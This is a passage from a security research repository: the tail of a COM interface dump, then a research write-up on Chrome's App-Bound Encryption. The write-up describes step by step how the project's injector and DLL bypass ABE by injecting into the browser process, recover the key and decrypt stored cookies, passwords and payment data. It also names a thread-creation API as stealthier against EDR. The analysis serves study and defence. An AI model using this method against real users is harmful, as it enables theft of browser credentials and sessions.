QueryInterface(GUID* riid, void** ppvObj) (oVft: 0) 744 | - ULONG AddRef(void) (oVft: 8) 745 | - ULONG Release(void) (oVft: 16) 746 | Interface in chain: 'IElevator' (IID: {A949CB4E-C4F9-44C4-B213-6BF8AA9AC69C}) - Defines 3 method(s): 747 | - HRESULT RunRecoveryCRXElevated(LPWSTR crx_path, LPWSTR browser_appid, LPWSTR browser_version, LPWSTR session_id, ULONG caller_proc_id, ULONG_PTR* proc_handle) (oVft: 24) 748 | - HRESULT EncryptData(ProtectionLevel protection_level, BSTR plaintext, BSTR* ciphertext, ULONG* last_error) (oVft: 32) 749 | - HRESULT DecryptData(BSTR ciphertext, BSTR* plaintext, ULONG* last_error) (oVft: 40) 750 | Interface in chain: 'IElevatorChromeCanary' (IID: {4F7CE041-28E9-484F-9DD0-61A8CACEFEE4}) - Defines 0 method(s): 751 | (No methods directly defined in this block for 'IElevatorChromeCanary') 752 | --- End of Verbose Details --- 753 | 754 | ✅ Analysis complete. 755 | ``` -------------------------------------------------------------------------------- /docs/RESEARCH.md: -------------------------------------------------------------------------------- 1 | # Chrome App-Bound Encryption (ABE) - Technical Deep Dive & Research Notes 2 | 3 | **Project:** [Chrome App-Bound Encryption Decryption](https://github.com/xaitax/Chrome-App-Bound-Encryption-Decryption/) 4 | **Author:** Alexander 'xaitax' Hagenah 5 | **Last Updated:** 12 May 2025 6 | 7 | Based on my project's v0.7.0 analysis, incorporating insights from Google's ABE design documents, public announcements, Chromium source code, and related security research. 8 | 9 | **Table of Contents** 10 | 11 | - [1. Introduction: The Evolution of Local Data Protection in Chrome](#1-introduction-the-evolution-of-local-data-protection-in-chrome) 12 | - [1.1. Core Tenets of ABE (as per Google's Design)](#11-core-tenets-of-abe-as-per-googles-design) 13 | - [2. The ABE Mechanism: A Step-by-Step Breakdown](#2-the-abe-mechanism-a-step-by-step-breakdown) 14 | - [3. Circumventing ABE Path Validation: The `chrome-inject` Strategy](#3-circumventing-abe-path-validation-the-chrome-inject-strategy) 15 | - [3.1. The Methodology](#31-the-methodology) 16 | - [3.2. Operational Context: User-Mode, No Administrative Rights Required](#32-operational-context-user-mode-no-administrative-rights-required) 17 | - [4. Dissecting Encrypted Data Structures](#4-dissecting-encrypted-data-structures) 18 | - [4.1. `Local State` and the `app_bound_encrypted_key`](#41-local-state-and-the-app_bound_encrypted_key) 19 | - [4.2. AES-GCM Blob Format (Cookies, Passwords, Payments, etc.)](#42-aes-gcm-blob-format-cookies-passwords-payments-etc) 20 | - [4.3. Cookie Value Specifics (from `encrypted_value` in `Cookies` DB)](#43-cookie-value-specifics-from-encrypted_value-in-cookies-db) 21 | - [4.4. Passwords (from `password_value` in `Login Data` DB) & Payment Information](#44-passwords-from-password_value-in-login-data-db--payment-information) 22 | - [5. Alternative Decryption Vectors & Chrome's Evolving Defenses](#5-alternative-decryption-vectors--chromes-evolving-defenses) 23 | - [5.1. Administrator-Level Decryption (e.g., `runassu/chrome_v20_decryption` PoC)](#51-administrator-level-decryption-eg-runassuchrome_v20_decryption-poc) 24 | - [5.2. Remote Debugging Port (`--remote-debugging-port`) and Its Mitigation](#52-remote-debugging-port---remote-debugging-port-and-its-mitigation) 25 | - [5.3. Device Bound Session Credentials (DBSC)](#53-device-bound-session-credentials-dbsc) 26 | - [6. Key Insights from Google's ABE Design Document & Chromium Source Code](#6-key-insights-from-googles-abe-design-document--chromium-source-code) 27 | - [7. Operational Considerations and Limitations of this tool](#7-operational-considerations-and-limitations-of-this-tool) 28 | - [7.1. Browser Process Termination (`KillBrowserProcesses`)](#71-browser-process-termination-killbrowserprocesses) 29 | - [7.2. Multi-Profile Support](#72-multi-profile-support) 30 | - [7.3. Roaming Profiles and Enterprise Environments](#73-roaming-profiles-and-enterprise-environments) 31 | - [8. Conclusion and Future Directions for ABE Research](#8-conclusion-and-future-directions-for-abe-research) 32 | - [9. References and Further Reading](#9-references-and-further-reading) 33 | 34 | --- 35 | 36 | ## 1. Introduction: The Evolution of Local Data Protection in Chrome 37 | 38 | For years, Chromium-based browsers on Windows relied on the **Data Protection API (DPAPI)** to secure sensitive user data stored locally such as cookies, passwords, payment information, and the like. DPAPI binds data to the logged-in user's credentials, offering a solid baseline against offline attacks (e.g., a stolen hard drive) and unauthorized access by other users on the same machine. However, DPAPI's Achilles' heel has always been its permissiveness within the user's own session: _any application running as the same user, with the same privilege level as Chrome, can invoke `CryptUnprotectData` and decrypt this data._ This vulnerability has been a perennial favorite for infostealer malware. 39 | 40 | To counter this, Google introduced **App-Bound Encryption (ABE)** in Chrome (publicly announced around version 127, July 2024). ABE is a significant architectural shift designed to dramatically raise the bar for attackers. Its core principle is to ensure that the primary decryption keys for sensitive Chrome data are only accessible to legitimate Chrome processes, thereby mitigating trivial data theft by same-user, same-privilege malware. 41 | 42 | ### 1.1. Core Tenets of ABE (as per Google's Design) 43 | 44 | - **Primary Goal:** Prevent an attacker operating with the _same privilege level as Chrome_ from trivially calling DPAPI to decrypt sensitive data. 45 | - **Acknowledged Limitations (Non-Goals):** ABE does not aim to prevent attackers with _higher privileges_ (Administrator, SYSTEM, kernel drivers) or those who can successfully _inject code into Chrome_. The official Google design documents explicitly recognize code injection as a potent bypass vector, a technique this project leverages for legitimate research and data recovery demonstrations. 46 | - **Underlying Mechanism:** ABE introduces an intermediary COM service (part of Chrome's Elevation Service) that acts as a gatekeeper for the DPAPI-unwrapping of a critical session key. This service verifies the "app identity" of the caller. 47 | - **Initial Identity Verification Method:** The first iteration relies on **path validation** of the calling executable. While digital signature validation was considered, path validation was chosen for the initial rollout to "descope the complexity" (as noted in a 2024 update to Google's design document), deemed sufficient against the immediate threat model. 48 | 49 | Google's conceptual diagram provides a clear overview: 50 | 51 | ![Google's ABE Diagram](https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgpjkAClX2VvgsIhLi2zAmvRwVMPEeJqUhqisKHIKxbfGAwh8p8-V7Ixct5azzn_jYfJYo2izWnGcbkVh3cabbCLVQQQsJAJagvFPCFJsx4MibauJqnLVymQYdhdGGc53q3wSJSeTPQ6vyxXosJ-tJRKuaaoV7_J_E2KB9glSZ1m3NSEwEBj-duevgROHlM/s1416/Screenshot%202024-07-26%202.15.06%20PM.png) 52 | _(Image: Google's conceptual diagram of App-Bound Encryption, illustrating the privileged service gating key access.)_ 53 | 54 | ## 2. The ABE Mechanism: A Step-by-Step Breakdown 55 | 56 | ABE employs a multi-layered strategy for key management and data encryption: 57 | 58 | 1. **The `app_bound_key` (Session Key):** 59 | 60 | - A unique 32-byte AES-256 key is the target plaintext that applications like Chrome's `OSCrypt` use. 61 | - This key is what this project aims to recover for subsequent data decryption. 62 | 63 | 2. **Generation of `validation_data` and `app_bound_key` Wrapping (During Encryption by Chrome):** 64 | 65 | - When Chrome (via `OSCrypt`) needs to protect the `app_bound_key` using ABE, it calls the `IElevator::EncryptData` COM method. 66 | - **Caller Validation Data Generation:** Inside `IElevator::EncryptData`, the service first generates `validation_data`. If `ProtectionLevel::PROTECTION_PATH_VALIDATION` is specified, this involves: 67 | - Obtaining the calling process's executable path (`GetProcessExecutablePath`). 68 | - Normalizing this path using a specific routine (`MaybeTrimProcessPath`), which removes the .exe name, common temporary/application subfolders (like "Application", "Temp", version strings), and standardizes "Program Files (x86)" to "Program Files". This results in a canonical base installation path. 69 | - This normalized path string (UTF-8 encoded) becomes the core of the `validation_data`. The `ProtectionLevel` itself is also prepended to this data. 70 | - **Payload Construction:** The `validation_data` (with its length) is prepended to the plaintext `app_bound_key` (also with its length). This forms the `data_to_encrypt`. 71 | - **User-Context DPAPI Encryption:** This `data_to_encrypt` blob is then encrypted using `CryptProtectData` under the calling user's DPAPI context (achieved via `ScopedClientImpersonation`). 72 | - **System-Context DPAPI Encryption (Outer Layer):** The result from the user-context DPAPI encryption is then encrypted _again_ using `CryptProtectData`, this time under the SYSTEM DPAPI context (or the service's own context if not explicitly SYSTEM). This creates a "DPAPI-ception" or layered DPAPI protection. 73 | - This doubly DPAPI-wrapped blob is what `IElevator::EncryptData` returns as the `ciphertext` BSTR. 74 | 75 | 3. **Storage in `Local State`:** 76 | 77 | - The `ciphertext` BSTR received from `IElevator::EncryptData` is Base64-encoded. 78 | - The prefix **`APPB`** (ASCII: `0x41 0x50 0x50 0x42`) is prepended. 79 | - This final string is stored in `Local State` as `os_crypt.app_bound_encrypted_key`. 80 | 81 | 4. **The `IElevator` COM Service (The Gatekeeper for Decryption):** 82 | 83 | - When Chrome (or this project's injected DLL) needs the plaintext `app_bound_key`: 84 | - It instantiates the `IElevator` COM object using browser-specific CLSIDs/IIDs: 85 | - **Google Chrome:** CLSID: `{708860E0-F641-4611-8895-7D867DD3675B}`, IID: `{463ABECF-410D-407F-8AF5-0DF35A005CC8}` 86 | - **Brave Browser:** CLSID: `{576B31AF-6369-4B6B-8560-E4B203A97A8B}`, IID: `{F396861E-0C8E-4C71-8256-2FAE6D759C9E}` 87 | - The `APPB`-prefixed, Base64-encoded string from `Local State` is decoded and the `APPB` prefix stripped. This resulting blob (the doubly DPAPI-wrapped key) is passed to `IElevator::DecryptData`. 88 | 89 | 5. **Unwrapping and Path Validation by `IElevator::DecryptData`:** 90 | 91 | - **System-Context DPAPI Decryption:** The input blob is first decrypted using `CryptUnprotectData` under the SYSTEM DPAPI context. This removes the outer DPAPI layer. 92 | - **User-Context DPAPI Decryption:** The intermediate result is then decrypted using `CryptUnprotectData` under the _calling user's_ DPAPI context (via `ScopedClientImpersonation`). This removes the inner DPAPI layer, yielding a plaintext blob. 93 | - **Extraction of Validation Data and Plaintext Key:** This plaintext blob is structured as `[validation_data_length][validation_data][app_bound_key_length][app_bound_key]`. The service uses `PopFromStringFront` to extract the original `validation_data` and then the `app_bound_key`. 94 | - **Path Validation:** The extracted `validation_data` (containing the original encrypting process's normalized path and `ProtectionLevel`) is then validated against the _current calling process_. The service gets the current caller's path, normalizes it using the same `MaybeTrimProcessPath` logic, and compares it. 95 | - If path validation passes, `IElevator::DecryptData` returns the extracted plaintext 32-byte `app_bound_key`. 96 | 97 | 6. **Data Encryption/Decryption using the `app_bound_key`:** 98 | - Chrome's `OSCrypt` (or this project's DLL) then uses this recovered 32-byte AES key with AES-256-GCM to encrypt/decrypt actual user data (cookies, passwords), which are typically prefixed (e.g., `v20`). 99 | 100 | ## 3. Circumventing ABE Path Validation: The `chrome-inject` Strategy 101 | 102 | The `chrome_inject.exe` and `chrome_decrypt.dll` tools developed in this project effectively bypass ABE's path validation by orchestrating the sensitive COM calls to `IElevator::DecryptData` to execute _from within the legitimate browser's own process space_. This approach aligns with the "Weaknesses" section of Google's ABE design document (Page 7), which explicitly notes: _"An attacker could inject code into Chrome browser and call the IPC interface."_ This project implements such a technique, not for malicious purposes, but for security research, data recovery exploration, and, for me, as a fascinating practical learning exercise in Windows internals, COM, and process manipulation. 103 | 104 | ### 3.1. The Methodology 105 | 106 | - **Injector (`chrome_inject.exe`):** 107 | 108 | 1. **Target Process Acquisition:** Identifies a running instance of the target Chromium-based browser (Chrome, Edge, Brave). It can also auto-start the browser if specified. 109 | 2. **Architectural Consistency:** Critically ensures that the injector and target process architectures align (e.g., x64 injector for x64 Chrome, ARM64 for ARM64 Chrome). 110 | 3. **DLL Path Marshalling:** Allocates memory within the target browser process's address space (`VirtualAllocEx`) and carefully writes the full path string of `chrome_decrypt.dll` into this remote memory (`WriteProcessMemory`). 111 | 4. **Remote Thread Execution:** Creates a new thread within the target process. The entry point for this new thread is the address of `LoadLibraryA` (from `kernel32.dll`), and its sole argument is the remote memory address where the DLL path string was written. 112 | - This project offers two distinct injection methods: 113 | - `CreateRemoteThread`: The standard, well-documented WinAPI function. 114 | - `NtCreateThreadEx`: A lower-level, less commonly monitored API residing in `ntdll.dll`, potentially offering a degree of stealth against some endpoint detection and response (EDR) solutions. 115 | 5. **Synchronization:** Employs a named event (`Global\ChromeDecryptWorkDoneEvent`) to pause execution and await a signal from the injected DLL indicating that its operations have concluded. 116 | 117 | - **Injected Payload (`chrome_decrypt.dll`):** 118 | 1. **Trusted Execution Context:** When `LoadLibraryA` is invoked within the remote thread, the `DllMain` function of `chrome_decrypt.dll` (specifically, the `DLL_PROCESS_ATTACH` case) is executed. At this pivotal moment, the DLL's code is running with the full identity and, crucially, the _executable path context_ of the host browser process (e.g., `chrome.exe`). This inherently satisfies the `IElevator` path validation check. 119 | 2. **Dedicated Worker Thread:** To avoid blocking `DllMain` (which can lead to deadlocks and instability) and to allow `LoadLibraryA` to return promptly (signaling successful injection to the injector), `DllMain` spawns a new, dedicated worker thread. This worker thread undertakes all subsequent COM interactions and decryption tasks. The DLL's original module handle (`HMODULE`) is passed to this worker thread, enabling it to call `FreeLibraryAndExitThread` upon completion for a clean self-unload. 120 | 3. **COM Initialization & Security Configuration:** 121 | - The worker thread initializes the COM library for its use via `CoInitializeEx(NULL, COINIT_APARTMENTTHREADED)`. 122 | - It then instantiates the `IElevator` COM object using `CoCreateInstance`, providing the browser-specific CLSID and IID. 123 | - To ensure correct security context propagation for the COM calls, `CoSetProxyBlanket` is invoked on the `IElevator` proxy. This project uses `RPC_C_AUTHN_LEVEL_PKT_PRIVACY`, `RPC_C_IMP_LEVEL_IMPERSONATE`, and `EOAC_DYNAMIC_CLOAKING`. 124 | 4. **Retrieving and Unwrapping the `app_bound_key`:** 125 | - The DLL reads the `Local State` JSON file from the appropriate user data directory. 126 | - It parses the JSON to locate the `os_crypt.app_bound_encrypted_key` value. 127 | - This value is Base64-decoded, and the `APPB` prefix is stripped, yielding the raw DPAPI-wrapped blob. 128 | - This blob is then passed to the `IElevator::DecryptData` method. 129 | 5. **Data Decryption and Output:** 130 | - If the `IElevator::DecryptData` call succeeds, the returned plaintext 32-byte AES key is the `app_bound_key`. 131 | - This key is then used with Windows Cryptography API: Next Generation (CNG) functions (specifically `BCrypt*` for AES-GCM) to decrypt sensitive data retrieved from the browser's SQLite databases (Cookies, Login Data, Web Data). 132 | - The decrypted data items are formatted into JSON and written to separate files in the user's `%TEMP%` directory. 133 | - For research and verification, the plaintext `app_bound_key` (in hexadecimal format) is saved to `%TEMP%\chrome_appbound_key.txt`. 134 | - A detailed operational log is also generated and saved to `%TEMP%\chrome_decrypt.log`. 135 | 6. **Signaling Completion and Resource Cleanup:** The worker thread signals the `Global\ChromeDecryptWorkDoneEvent` named event, uninitializes COM via `CoUninitialize`, and then calls `FreeLibraryAndExitThread` to unload the DLL from the browser's process space. 136 | 137 | ### 3.2. Operational Context: User-Mode, No Administrative Rights Required 138 | 139 | A key characteristic of this project's methodology is that it operates entirely in **user mode** and **does not require administrative privileges**. This is possible because: 140 | 141 | - The `IElevator` COM server, while part of an "Elevation Service," performs the decryption relevant to user data by impersonating the user and leveraging the user's DPAPI context. The "privileged" nature of the service (as depicted in Google's diagram where it runs as SYSTEM) primarily pertains to its role as a gatekeeper for DPAPI access and its ability to validate callers, not necessarily that the decryption task for user keys itself requires SYSTEM-level rights. 142 | - DLL injection into another process running as the _same user_ typically does not necessitate administrative elevation. 143 | - All file system access (for `Local State`, SQLite databases) targets locations within the user's own profile, which are accessible without elevated rights. 144 | 145 | ## 4. Dissecting Encrypted Data Structures 146 | 147 | ### 4.1. `Local State` and the `app_bound_encrypted_key` 148 | 149 | - **Typical Location:** `%LOCALAPPDATA%\\\User Data\Local State` (e.g., `Google\Chrome\User Data\Local State`). 150 | - **Relevant JSON Key:** `os_crypt.app_bound_encrypted_key`. 151 | - **Format:** A string value: `"APPB"`. 152 | 153 | ### 4.2. AES-GCM Blob Format (Cookies, Passwords, Payments, etc.) 154 | 155 | Data items encrypted with the `app_bound_key` generally adhere to a consistent format: 156 | 157 | 1. **Prefix:** A version or type prefix string. For cookies, passwords, and payment data observed thus far, this is typically **`v20`** (ASCII: `0x76 0x32 0x30`). Older data encrypted solely with DPAPI might use prefixes like `v10` or `v11`. 158 | 2. **Nonce (IV):** A 12-byte Initialization Vector, essential for the security of AES-GCM mode. 159 | 3. **Ciphertext:** The actual encrypted data, variable in length. 160 | 4. **Authentication Tag:** A 16-byte GCM authentication tag, which ensures both the integrity and authenticity of the decrypted ciphertext. 161 | 162 | **Overall Blob Structure:** `[Prefix (e.g., 3 bytes for "v20")][IV (12 bytes)][Ciphertext (variable length)][Tag (16 bytes)]` 163 | 164 | ### 4.3. Cookie Value Specifics (from `encrypted_value` in `Cookies` DB) 165 | 166 | - A notable observation during the development of this tool is that after successfully decrypting a `v20`-prefixed cookie blob using AES-GCM with the `app_bound_key`, the first **32 bytes** of the resulting plaintext appear to be some form of metadata or padding. The actual cookie value string begins after this `DECRYPTED_COOKIE_VALUE_OFFSET` of 32 bytes. 167 | 168 | ### 4.4. Passwords (from `password_value` in `Login Data` DB) & Payment Information 169 | 170 | - These data types also use `v20`-prefixed blobs. 171 | - Unlike cookies, the entire decrypted plaintext (after accounting for the `v20` prefix, IV, and tag during the AES-GCM decryption process) is generally considered to be the sensitive value itself (e.g., the password string, credit card number, or CVC). 172 | 173 | ## 5. Alternative Decryption Vectors & Chrome's Evolving Defenses 174 | 175 | ### 5.1. Administrator-Level Decryption (e.g., `runassu/chrome_v20_decryption` PoC) 176 | 177 | The proof-of-concept by `runassu` illustrates that if an attacker possesses **Administrator privileges**, the `app_bound_key` can potentially be decrypted. This aligns with ABE's stated non-goal of protecting against higher-privilege attackers. 178 | 179 | 1. The PoC's description of needing to decrypt the `app_bound_encrypted_key` from `Local State` first with SYSTEM DPAPI, then user DPAPI, **directly matches** the initial steps within the legitimate `IElevator::DecryptData` function as seen in `elevator.cc`. An administrator can perform these steps outside of the `IElevator` service. 180 | 2. After these two DPAPI unwrap steps, the result would be the `[validation_data_length][validation_data][app_bound_key_length][app_bound_key]` plaintext. An admin tool could then simply parse this structure to extract the `app_bound_key` directly, without needing to perform path validation. 181 | 3. The `runassu` PoC's claim that this result is "*not* the final `app_bound_key`" and requires a *further* AES-GCM decryption with a key hardcoded in `elevation_service.exe` is intriguing. 182 | * This additional layer is **not** part of the standard `IElevator::DecryptData` flow for returning the `app_bound_key` to `OSCrypt`, as evidenced by `elevator.cc`. The `plaintext_str` returned by `IElevator::DecryptData` *is* the application-level key. 183 | * The PoC's extra step might be attempting to decrypt data that has undergone an additional, internal transformation within Chrome, possibly related to the `PreProcessData`/`PostProcessData` functions seen in `elevator.cc` (conditionally compiled with `BUILDFLAG(GOOGLE_CHROME_BRANDING)`). These functions might apply another layer of encryption using a service-internal key for specific branded builds or key versions. 184 | * Alternatively, the PoC might be targeting a different internal key or an older/variant ABE scheme. 185 | 186 | - **Hardcoded Keys in `elevation_service.exe`:** The presence of hardcoded keys in `elevation_service.exe` (as mentioned by the PoC for ChaCha20_Poly1305 or AES-256-GCM) would most likely be for such internal service operations or specific recovery mechanisms, rather than the primary ABE flow that returns the key to `OSCrypt`. 187 | - **Stability Concerns:** Relying on such internal administrator-level method, undocumented layers and hardcoded keys is highly unstable and prone to break with Chrome updates. The method employed by this project (injecting and calling the official `IElevator::DecryptData` COM interface) is more aligned with the intended client interaction path and thus inherently more stable, despite the injection vector. 188 | 189 | ### 5.2. Remote Debugging Port (`--remote-debugging-port`) and Its Mitigation 190 | 191 | Attackers had also turned to Chrome's remote debugging capabilities as a vector to exfiltrate cookies, effectively sidestepping ABE's file-based protections. 192 | 193 | - **Chrome's Countermeasure (Chrome 136+):** As detailed in a Chrome Developers blog post, Google addressed this by changing the behavior of the `--remote-debugging-port` and `--remote-debugging-pipe` command-line switches. Starting with Chrome 136, these switches will no longer function when Chrome is launched with its default user data directory. To enable remote debugging, users must now also specify the `--user-data-dir` switch, pointing Chrome to a _non-standard, separate_ data directory. This ensures that any debugging session operates on an isolated profile, using a different encryption key, thereby safeguarding the user's primary profile data. 194 | - **Bypass Simplicity:** While this change adds a hurdle, it's worth noting that an attacker _can_ control Chrome's launch parameters (e.g., by modifying shortcuts or through malware that relaunches Chrome), they could potentially still launch Chrome with both `--remote-debugging-port` and a temporary `--user-data-dir`, then attempt to import or access data if Chrome allows such operations into a fresh, debuggable profile. The effectiveness of the debug port mitigation hinges on preventing unauthorized modification of launch parameters and on Chrome's policies regarding data access in such scenarios. 195 | 196 | ### 5.3. Device Bound Session Credentials (DBSC) 197 | 198 | As an overlapping and complementary security effort, Google has been developing **Device Bound Session Credentials (DBSC)**, available for Origin Trial in Chrome 135. DBSC aims to combat cookie theft by cryptographically binding session cookies to the device. 199 | 200 | - **Mechanism:** When a DBSC session is initiated, the browser generates a public-private key pair, storing the private key securely (ideally using hardware like a TPM). The server associates the session with the public key. Periodically, the browser proves possession of the private key to refresh the (typically short-lived) session cookie. 201 | - **Relevance to ABE:** While ABE protects data at rest on the user's device, DBSC focuses on making stolen session cookies useless if exfiltrated and used on another device. They are two distinct but synergistic layers of defense against session hijacking. An attacker bypassing ABE to get cookies might still find those cookies unusable elsewhere if they are DBSC-protected. 202 | 203 | ## 6. Key Insights from Google's ABE Design Document & Chromium Source Code 204 | 205 | Insights from Google's design documents and the Chromium source code (`elevator.h`, `elevator.cc`, `caller_validation.h`, `caller_validation.cc`) provide a comprehensive understanding: 206 | 207 | - **Original Intent vs. Implemented Reality (Path vs. Signature Validation):** The initial proposal (Page 4 of the design doc) contemplated validating the _digital signature_ of both the calling process and the `IElevator` service executable. However, an "Update (2024)" note clarifies that the project was descoped to use **path validation** for the initial implementation, primarily for simplicity, with the assessment that it offered "equivalent protection against a non-admin attacker" for the prevailing threat models at the time. 208 | - **`OSCrypt` Module Modifications:** The core `components/os_crypt` module within Chromium was slated to be augmented. Instead of making direct DPAPI calls, it would use new IPC mechanisms to communicate with the Elevation Service (Pages 2, 5). The design proposed that `OSCrypt` would iterate through a list of "key encryption delegates" - one for legacy DPAPI keys, another for ABE-protected keys via IPC - to find a delegate capable of decrypting a given key (Page 6). 209 | - **Stateless Nature of the Service:** The `IElevator` service, in its role for ABE, is designed as a largely stateless encrypt/decrypt primitive. It doesn't require its own persistent storage for ABE operations (Page 4). 210 | - **Explicit Acknowledgment of Injection as a Bypass:** Page 7 ("Weaknesses") of the design document candidly states: _"An attacker could inject code into Chrome browser and call the IPC interface. It would be hard to defeat a determined attacker using this technique..."_ This project serves as a practical validation of this assessment. 211 | - **Understanding the `IElevator` COM Interface and its Definition:** 212 | - The `IElevator` interface is a standard Windows **COM (Component Object Model)** interface. Such interfaces define a contract between a service provider (like Chrome's Elevation Service) and a client (like Chrome's `OSCrypt` module, or in this project's case, the injected `chrome_decrypt.dll`). 213 | - This contract is formally specified using **MIDL (Microsoft Interface Definition Language)**. An `.idl` file written in MIDL describes the methods, parameters, and data types. The MIDL compiler processes this `.idl` file to generate C/C++ header files (defining the interface structure for compilers) and a type library (`.tlb`) that describes the interface's binary layout. It also generates proxy/stub code that enables COM to transparently manage communication between the client and server, even if they are in different processes. 214 | - While this project's `chrome_decrypt.dll` contains a C++ stub for `IElevator` (using the `MIDL_INTERFACE` macro), this serves as a compile-time declaration of the interface's shape. The crucial elements for runtime interaction are the correct CLSID (to identify the COM component) and IID (to request the specific `IElevator` interface pointer) passed to `CoCreateInstance`. 215 | - The `IElevator` interface, as potentially defined by Chrome, would include methods like `EncryptData` and `DecryptData`. An illustrative C++ stub, similar to what's in `chrome_decrypt.cpp`, is: 216 | ```cpp 217 | // Illustrative C++ MIDL_INTERFACE definition stub from chrome_decrypt.cpp 218 | MIDL_INTERFACE("A949CB4E-C4F9-44C4-B213-6BF8AA9AC69C") 219 | IElevator : public IUnknown 220 | { 221 | public: 222 | // Method for Chrome's recovery mechanisms, not directly used for decryption by this tool. 223 | virtual HRESULT STDMETHODCALLTYPE RunRecoveryCRXElevated( 224 | const WCHAR *crx_path, const WCHAR *browser_appid, /* ...other params... */) = 0; 225 | 226 | // Method used by Chrome to initially encrypt the app_bound_key. 227 | virtual HRESULT STDMETHODCALLTYPE EncryptData( 228 | ProtectionLevel protection_level, // Specifies the type of protection to apply 229 | const BSTR plaintext, 230 | BSTR *ciphertext, 231 | DWORD *last_error) = 0; 232 | 233 | // The key method utilized by this tool to decrypt the app_bound_key. 234 | virtual HRESULT STDMETHODCALLTYPE DecryptData( 235 | const BSTR ciphertext, // DPAPI-wrapped app_bound_key blob from Local State 236 | BSTR *plaintext, // Output: raw 32-byte app_bound_key 237 | DWORD *last_error) = 0; // Propagates underlying errors (e.g., from DPAPI) 238 | }; 239 | ``` 240 | - The `EncryptData` method, though not called by this decryption tool, would likely use an enum like `ProtectionLevel` to dictate the security measures applied during the encryption of the `app_bound_key`. This project includes such an enum in `chrome_decrypt.cpp`: 241 | ```cpp 242 | // From elevation_service_idl.h (implicitly, via project's chrome_decrypt.cpp stub) 243 | enum class ProtectionLevel // As used by IElevator 244 | { 245 | PROTECTION_NONE = 0, 246 | PROTECTION_PATH_VALIDATION_OLD = 1, // An older path validation scheme 247 | PROTECTION_PATH_VALIDATION = 2, // The ABE path validation relevant to this research 248 | PROTECTION_MAX = 3 // Boundary for valid levels 249 | }; 250 | ``` 251 | - By specifying `ProtectionLevel::PROTECTION_PATH_VALIDATION` during the `EncryptData` call, Chrome instructs the `IElevator` service to enforce the path validation check when creating the `app_bound_encrypted_key`. The `DecryptData` method, subsequently used by this tool, implicitly respects the protection level that was originally applied during encryption. 252 | - The `IElevator::EncryptData` method, when called by Chrome with `ProtectionLevel::PROTECTION_PATH_VALIDATION`, generates caller-specific `validation_data` (based on the normalized path of Chrome itself), prepends this to the actual `app_bound_key`, and then encrypts this combined payload twice with DPAPI (first user-context, then system-context). 253 | - The `IElevator::DecryptData` method reverses this: decrypts twice with DPAPI (first system-context, then user-context), extracts the `validation_data` and the `app_bound_key`, performs path validation using the extracted `validation_data` against the current caller, and returns the `app_bound_key` if valid. This project's tool correctly utilizes this returned key. 254 | - **Path Normalization (`MaybeTrimProcessPath` in `caller_validation.cc`):** A critical detail for `ProtectionLevel::PROTECTION_PATH_VALIDATION` is that the validation does not use the raw executable path. Instead, `MaybeTrimProcessPath` normalizes it by: 255 | 1. Removing the executable filename (e.g., `chrome.exe`). 256 | 2. Conditionally removing trailing directory components if they match "Temp", "Application", or a version string (e.g., `127.0.0.0`). 257 | 3. Standardizing `Program Files (x86)` to `Program Files`. 258 | This ensures that different Chrome versions or temporary unpack locations within the same sanctioned base installation directory can still validate successfully. 259 | 260 | ## 7. Operational Considerations and Limitations of this tool 261 | 262 | ### 7.1. Browser Process Termination (`KillBrowserProcesses`) 263 | 264 | The `chrome_decrypt.dll` currently includes logic to terminate existing browser processes of the target type before proceeding. 265 | 266 | - **Rationale:** This is primarily to ensure that SQLite database files (`Cookies`, `Login Data`, `Web Data`) are not locked by live browser instances and that the `IElevator` COM server can initialize in a clean state, potentially avoiding conflicts or issues if existing browser instances have the service in an unusual state. 267 | - **User Impact:** This is a disruptive action. Future enhancements to this tool could explore less intrusive methods, such as attempting to copy the database files to a temporary location and operating on those copies, or implementing a more conditional termination strategy (e.g., only if initial COM instantiation or DB access fails). 268 | 269 | ### 7.2. Multi-Profile Support 270 | 271 | Currently, this tool primarily targets the `Default` user profile within the browser's user data directory. Comprehensive support for environments with multiple Chrome profiles would involve: 272 | 273 | 1. Enumerating all active profile directories (e.g., `Profile 1`, `Profile 2`, etc.) within the main `User Data` folder. 274 | 2. Applying the (likely single, shared per `User Data` instance) `app_bound_key` to decrypt data from each profile's respective SQLite databases, as the key is tied to the overall user data directory, not individual sub-profiles. 275 | 276 | ### 7.3. Roaming Profiles and Enterprise Environments 277 | 278 | Google's public communications on ABE explicitly state that it "will not function correctly in environments where Chrome profiles roam between multiple machines." This is because the underlying DPAPI protection for the `app_bound_key` is inherently machine-bound (and user-bound). If an enterprise requires support for roaming profiles, they are encouraged to follow existing best practices. For scenarios where ABE might cause incompatibility, Chrome provides the `ApplicationBoundEncryptionEnabled` enterprise policy to configure or disable this feature. 279 | 280 | ## 8. Conclusion and Future Directions for ABE Research 281 | 282 | App-Bound Encryption marks a commendable and significant enhancement in securing locally stored Chrome data on the Windows platform. By fundamentally tying decryption capabilities to a path-validated COM service, Google has effectively "moved the goalposts" for attackers, compelling them to resort to either privilege escalation or code injection into Chrome itself - both of which are generally "noisier" and more readily detectable actions than straightforward, unprivileged DPAPI calls. 283 | 284 | This project, through its implementation of a user-mode DLL injection technique, serves multiple purposes: 285 | 286 | 1. It provides a practical, working demonstration of the bypass vector that Google's own design documents acknowledged. 287 | 2. It functions as a valuable tool for legitimate data recovery scenarios and for security researchers aiming to understand ABE's intricacies. 288 | 3. It stands as a reference implementation for interacting with the ABE system from within the trusted browser context. 289 | 290 | The ongoing evolution of Chrome and its security mechanisms means that ABE research will remain a dynamic field. Future areas of focus will likely include: 291 | 292 | - **Monitoring the `IElevator` service:** Tracking any changes to its CLSIDs, IIDs, interface methods, or the core validation logic (e.g., a potential future shift from path validation to digital signature validation, as originally contemplated). 293 | - **Deep Analysis of Undocumented Structures:** Further reverse engineering efforts to understand elements like the 32-byte prefix observed in decrypted cookie plaintext. 294 | - **Chrome's Detection and Mitigation of Injection Techniques:** As Google and security vendors work to make code injection "more detectable," understanding these evolving detection strategies and their impact will be crucial. 295 | - **Impact of Further OS-Level Hardening:** Investigating how improvements in Windows process integrity, application isolation primitives, or EDR technologies might affect ABE and bypass techniques. 296 | 297 | The landscape of browser security is one of constant flux. App-Bound Encryption is a critical new defensive layer, and the continued efforts of the research community will be essential for a comprehensive understanding of its strengths, its limitations, and its trajectory in the face of ever-adapting threats. 298 | 299 | ## 9. References and Further Reading 300 | 301 | - **Google Security Blog:** [Improving the security of Chrome cookies on Windows](https://security.googleblog.com/2024/07/improving-security-of-chrome-cookies-on.html) (July 30, 2024) 302 | - **Google Design Document:** [Chrome app-bound encryption Service (formerly: Chrome Elevated Data 